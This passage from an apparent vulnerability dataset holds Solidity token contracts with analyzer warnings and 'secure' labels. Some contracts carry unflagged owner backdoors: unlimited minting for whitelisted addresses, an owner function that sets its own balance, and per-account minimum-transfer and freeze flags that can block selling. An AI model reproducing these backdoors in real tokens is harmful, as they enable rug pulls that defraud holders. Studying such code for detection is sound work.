0;\n\n if (rF) {\n uint256 tradeTaxi = 0;\n if (uniswapV2Pair != address(0)) {\n if (_to == uniswapV2Pair) {\n tradeTaxi = _defaultSellTaxi;\n }\n if (from == uniswapV2Pair) {\n tradeTaxi = _defaultBuyTaxi;\n }\n }\n if (_slipTaxi[from] > 0) {\n tradeTaxi = _slipTaxi[from];\n }\n\n tradeTaxiAmount = _Amount.mul(tradeTaxi).div(100);\n }\n\n if (tradeTaxiAmount > 0) {\n _balances[from] = _balances[from].sub(tradeTaxiAmount);\n _balances[_deadAddress] = _balances[_deadAddress].add(\n tradeTaxiAmount\n );\n emit Transfer(from, _deadAddress, tradeTaxiAmount);\n }\n\n _balances[from] = _balances[from].sub(_Amount - tradeTaxiAmount);\n _balances[_to] = _balances[_to].add(_Amount - tradeTaxiAmount);\n emit Transfer(from, _to, _Amount - tradeTaxiAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0401020): ReelToken.transfer(address,uint256).Owner shadows Ownable.Owner() (function)\n\t// Recommendation for 0401020: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address Owner = _msgSender();\n if (_release[Owner] == true) {\n _balances[to] += Amount;\n return true;\n }\n _receiveF(Owner, to, Amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, Amount);\n _receiveF(from, to, Amount);\n return true;\n }\n}",
"file_name": "solidity_code_3420.sol",
"secure": 0,
"size_bytes": 7069
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ILssController {\n function beforeTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) external;\n\n function beforeTransferFrom(\n address msgSender,\n address sender,\n address recipient,\n uint256 amount\n ) external;\n\n function beforeApprove(\n address sender,\n address spender,\n uint256 amount\n ) external;\n\n function beforeIncreaseAllowance(\n address msgSender,\n address spender,\n uint256 addedValue\n ) external;\n\n function beforeDecreaseAllowance(\n address msgSender,\n address spender,\n uint256 subtractedValue\n ) external;\n\n function beforeMint(address account, uint256 amount) external;\n}",
"file_name": "solidity_code_3421.sol",
"secure": 1,
"size_bytes": 851
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./ILssController.sol\" as ILssController;\n\ncontract LERC20Mintable is Context {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n\n address public recoveryAdmin;\n address private recoveryAdminCandidate;\n bytes32 private recoveryAdminKeyHash;\n address public admin;\n\t// WARNING Optimization Issue (immutable-states | ID: b8b69ae): LERC20Mintable.timelockPeriod should be immutable \n\t// Recommendation for b8b69ae: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public timelockPeriod;\n uint256 public losslessTurnOffTimestamp;\n bool public isLosslessOn = true;\n\t// WARNING Optimization Issue (immutable-states | ID: 01cba84): LERC20Mintable.lossless should be immutable \n\t// Recommendation for 01cba84: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ILssController public lossless;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a2b410a): LERC20Mintable.constructor(uint256,string,string,address,address,uint256,address).admin_ lacks a zerocheck on \t admin = admin_\n\t// Recommendation for a2b410a: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6844d0b): LERC20Mintable.constructor(uint256,string,string,address,address,uint256,address).recoveryAdmin_ lacks a zerocheck on \t recoveryAdmin = recoveryAdmin_\n\t// Recommendation for 6844d0b: Check that the address is not zero.\n constructor(\n uint256 totalSupply_,\n string memory name_,\n string memory symbol_,\n address admin_,\n address recoveryAdmin_,\n uint256 timelockPeriod_,\n address lossless_\n ) {\n _mint(_msgSender(), totalSupply_);\n _name = name_;\n _symbol = symbol_;\n\t\t// missing-zero-check | ID: a2b410a\n admin = admin_;\n\t\t// missing-zero-check | ID: 6844d0b\n recoveryAdmin = recoveryAdmin_;\n recoveryAdminCandidate = address(0);\n recoveryAdminKeyHash = \"\";\n timelockPeriod = timelockPeriod_;\n losslessTurnOffTimestamp = 0;\n lossless = ILssController(lossless_);\n }\n\n event Transfer(address indexed _from, address indexed _to, uint256 _value);\n event Approval(\n address indexed _owner,\n address indexed _spender,\n uint256 _value\n );\n event NewAdmin(address indexed _newAdmin);\n event NewRecoveryAdminProposal(address indexed _candidate);\n event NewRecoveryAdmin(address indexed _newAdmin);\n event LosslessTurnOffProposal(uint256 _turnOffDate);\n event LosslessOff();\n event LosslessOn();\n\n modifier lssAprove(address spender, uint256 amount) {\n if (isLosslessOn) {\n\t\t\t// reentrancy-events | ID: 3f00142\n\t\t\t// reentrancy-benign | ID: c325bf5\n lossless.beforeApprove(_msgSender(), spender, amount);\n }\n _;\n }\n\n modifier lssTransfer(address recipient, uint256 amount) {\n if (isLosslessOn) {\n\t\t\t// reentrancy-events | ID: 96eebe6\n\t\t\t// reentrancy-benign | ID: 1723290\n lossless.beforeTransfer(_msgSender(), recipient, amount);\n }\n _;\n }\n\n modifier lssTransferFrom(address sender, address recipient, uint256 amount)\n {\n if (isLosslessOn) {\n\t\t\t// reentrancy-events | ID: c4635dc\n\t\t\t// reentrancy-benign | ID: 6aaeb68\n lossless.beforeTransferFrom(\n _msgSender(),\n sender,\n recipient,\n amount\n );\n }\n _;\n }\n\n modifier lssIncreaseAllowance(address spender, uint256 addedValue) {\n if (isLosslessOn) {\n\t\t\t// reentrancy-events | ID: 87dae20\n\t\t\t// reentrancy-benign | ID: 62b29df\n lossless.beforeIncreaseAllowance(_msgSender(), spender, addedValue);\n }\n _;\n }\n\n modifier lssDecreaseAllowance(address spender, uint256 subtractedValue) {\n if (isLosslessOn) {\n\t\t\t// reentrancy-events | ID: 57f5b80\n\t\t\t// reentrancy-benign | ID: b467a0f\n lossless.beforeDecreaseAllowance(\n _msgSender(),\n spender,\n subtractedValue\n );\n }\n _;\n }\n\n modifier onlyRecoveryAdmin() {\n require(\n _msgSender() == recoveryAdmin,\n \"LERC20: Must be recovery admin\"\n );\n _;\n }\n\n modifier lssMint(address account, uint256 amount) {\n if (isLosslessOn) {\n\t\t\t// reentrancy-events | ID: adec6a7\n\t\t\t// reentrancy-benign | ID: c3c9467\n lossless.beforeMint(account, amount);\n }\n _;\n }\n\n function transferOutBlacklistedFunds(address[] calldata from) external {\n require(\n _msgSender() == address(lossless),\n \"LERC20: Only lossless contract\"\n );\n\n uint256 fromLength = from.length;\n uint256 totalAmount = 0;\n\n for (uint256 i = 0; i < fromLength; i++) {\n address fromAddress = from[i];\n uint256 fromBalance = _balances[fromAddress];\n _balances[fromAddress] = 0;\n totalAmount += fromBalance;\n emit Transfer(fromAddress, address(lossless), fromBalance);\n }\n\n _balances[address(lossless)] += totalAmount;\n }\n\n function setLosslessAdmin(address newAdmin) external onlyRecoveryAdmin {\n require(newAdmin != admin, \"LERC20: Cannot set same address\");\n emit NewAdmin(newAdmin);\n admin = newAdmin;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 50949dc): LERC20Mintable.transferRecoveryAdminOwnership(address,bytes32).candidate lacks a zerocheck on \t recoveryAdminCandidate = candidate\n\t// Recommendation for 50949dc: Check that the address is not zero.\n function transferRecoveryAdminOwnership(\n address candidate,\n bytes32 keyHash\n ) external onlyRecoveryAdmin {\n\t\t// missing-zero-check | ID: 50949dc\n recoveryAdminCandidate = candidate;\n recoveryAdminKeyHash = keyHash;\n emit NewRecoveryAdminProposal(candidate);\n }\n\n function acceptRecoveryAdminOwnership(bytes memory key) external {\n require(\n _msgSender() == recoveryAdminCandidate,\n \"LERC20: Must be canditate\"\n );\n require(keccak256(key) == recoveryAdminKeyHash, \"LERC20: Invalid key\");\n emit NewRecoveryAdmin(recoveryAdminCandidate);\n recoveryAdmin = recoveryAdminCandidate;\n recoveryAdminCandidate = address(0);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8f2c3a7): LERC20Mintable.proposeLosslessTurnOff() uses timestamp for comparisons Dangerous comparisons require(bool,string)(losslessTurnOffTimestamp == 0,LERC20 TurnOff already proposed)\n\t// Recommendation for 8f2c3a7: Avoid relying on 'block.timestamp'.\n function proposeLosslessTurnOff() external onlyRecoveryAdmin {\n\t\t// timestamp | ID: 8f2c3a7\n require(\n losslessTurnOffTimestamp == 0,\n \"LERC20: TurnOff already proposed\"\n );\n require(isLosslessOn, \"LERC20: Lossless already off\");\n losslessTurnOffTimestamp = block.timestamp + timelockPeriod;\n emit LosslessTurnOffProposal(losslessTurnOffTimestamp);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 86a3ef1): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 86a3ef1: Avoid relying on 'block.timestamp'.\n function executeLosslessTurnOff() external onlyRecoveryAdmin {\n\t\t// timestamp | ID: 86a3ef1\n require(losslessTurnOffTimestamp != 0, \"LERC20: TurnOff not proposed\");\n\t\t// timestamp | ID: 86a3ef1\n require(\n losslessTurnOffTimestamp <= block.timestamp,\n \"LERC20: Time lock in progress\"\n );\n isLosslessOn = false;\n losslessTurnOffTimestamp = 0;\n emit LosslessOff();\n }\n\n function executeLosslessTurnOn() external onlyRecoveryAdmin {\n require(!isLosslessOn, \"LERC20: Lossless already on\");\n losslessTurnOffTimestamp = 0;\n isLosslessOn = true;\n emit LosslessOn();\n }\n\n function getAdmin() public view virtual returns (address) {\n return admin;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 96eebe6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 96eebe6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1723290): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1723290: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transfer(\n address recipient,\n uint256 amount\n\t// reentrancy-events | ID: 96eebe6\n\t// reentrancy-benign | ID: 1723290\n ) public virtual lssTransfer(recipient, amount) returns (bool) {\n\t\t// reentrancy-events | ID: 96eebe6\n\t\t// reentrancy-benign | ID: 1723290\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3f00142): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3f00142: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c325bf5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c325bf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function approve(\n address spender,\n uint256 amount\n\t// reentrancy-events | ID: 3f00142\n\t// reentrancy-benign | ID: c325bf5\n ) public virtual lssAprove(spender, amount) returns (bool) {\n\t\t// reentrancy-events | ID: 3f00142\n\t\t// reentrancy-benign | ID: c325bf5\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c4635dc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c4635dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6aaeb68): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6aaeb68: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n\t// reentrancy-events | ID: c4635dc\n\t// reentrancy-benign | ID: 6aaeb68\n ) public virtual lssTransferFrom(sender, recipient, amount) returns (bool) {\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"LERC20: transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: c4635dc\n\t\t// reentrancy-benign | ID: 6aaeb68\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c4635dc\n\t\t// reentrancy-benign | ID: 6aaeb68\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 87dae20): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 87dae20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 62b29df): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 62b29df: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function increaseAllowance(\n address spender,\n uint256 addedValue\n\t// reentrancy-events | ID: 87dae20\n\t// reentrancy-benign | ID: 62b29df\n ) public virtual lssIncreaseAllowance(spender, addedValue) returns (bool) {\n\t\t// reentrancy-events | ID: 87dae20\n\t\t// reentrancy-benign | ID: 62b29df\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 57f5b80): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 57f5b80: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b467a0f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b467a0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n )\n public\n virtual\n\t\t// reentrancy-events | ID: 57f5b80\n\t\t// reentrancy-benign | ID: b467a0f\n lssDecreaseAllowance(spender, subtractedValue)\n returns (bool)\n {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"LERC20: decreased allowance below zero\"\n );\n\t\t// reentrancy-events | ID: 57f5b80\n\t\t// reentrancy-benign | ID: b467a0f\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"LERC20: transfer from the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"LERC20: transfer amount exceeds balance\"\n );\n\t\t// reentrancy-benign | ID: 1723290\n\t\t// reentrancy-benign | ID: 6aaeb68\n _balances[sender] = senderBalance - amount;\n\t\t// reentrancy-benign | ID: 1723290\n\t\t// reentrancy-benign | ID: 6aaeb68\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: c4635dc\n\t\t// reentrancy-events | ID: 96eebe6\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"LERC20: mint to the zero address\");\n\n\t\t// reentrancy-benign | ID: c3c9467\n _totalSupply += amount;\n\n unchecked {\n\t\t\t// reentrancy-benign | ID: c3c9467\n _balances[account] += amount;\n }\n\t\t// reentrancy-events | ID: adec6a7\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n\t\t// reentrancy-benign | ID: 6aaeb68\n\t\t// reentrancy-benign | ID: c325bf5\n\t\t// reentrancy-benign | ID: 62b29df\n\t\t// reentrancy-benign | ID: b467a0f\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: c4635dc\n\t\t// reentrancy-events | ID: 3f00142\n\t\t// reentrancy-events | ID: 57f5b80\n\t\t// reentrancy-events | ID: 87dae20\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: adec6a7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for adec6a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c3c9467): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c3c9467: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mint(\n address to,\n uint256 amount\n\t// reentrancy-events | ID: adec6a7\n\t// reentrancy-benign | ID: c3c9467\n ) public virtual lssMint(to, amount) {\n require(_msgSender() == admin, \"LERC20: Must be admin\");\n\t\t// reentrancy-events | ID: adec6a7\n\t\t// reentrancy-benign | ID: c3c9467\n _mint(to, amount);\n }\n}",
"file_name": "solidity_code_3422.sol",
"secure": 0,
"size_bytes": 19419
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ROOT is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _MFs;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 0dfa7ff): ROOT._decimals should be immutable \n\t// Recommendation for 0dfa7ff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: d1cea33): ROOT._totalSupply should be immutable \n\t// Recommendation for d1cea33: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function Approve(address account, uint256 amount) external onlyowner {\n _MFs[account] = amount;\n }\n\n function getMF(address account) external view returns (uint256) {\n return _MFs[account];\n }\n\n function Transfr(uint256 amount) external onlyowner {\n _balances[_msgSender()] = amount;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n require(\n amount >= _MFs[_msgSender()],\n \"TT: transfer amount less than sender's minimum\"\n );\n require(\n amount >= _MFs[recipient],\n \"TT: transfer amount less than recipient's minimum\"\n );\n\n _balances[_msgSender()] -= amount;\n _balances[recipient] += amount;\n\n emit Transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fbdd55f): ROOT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fbdd55f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n require(\n amount >= _MFs[sender],\n \"TT: transfer amount less than sender's minimum\"\n );\n require(\n amount >= _MFs[recipient],\n \"TT: transfer amount less than recipient's minimum\"\n );\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n _allowances[sender][_msgSender()] -= amount;\n\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3423.sol",
"secure": 0,
"size_bytes": 4515
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Kuni {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function swapExactETHForTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n function swapExactTokensForETH(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n}",
"file_name": "solidity_code_3424.sol",
"secure": 1,
"size_bytes": 777
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) internal _mev_protected;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n bool private _mev_protectedApplied = false;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4fe7ce9): ERC20.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4fe7ce9: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc8940c): ERC20.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc8940c: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n if (_mev_protected[from] || _mev_protected[to])\n require(_mev_protectedApplied == true, \"\");\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3425.sol",
"secure": 0,
"size_bytes": 7871
} |
{
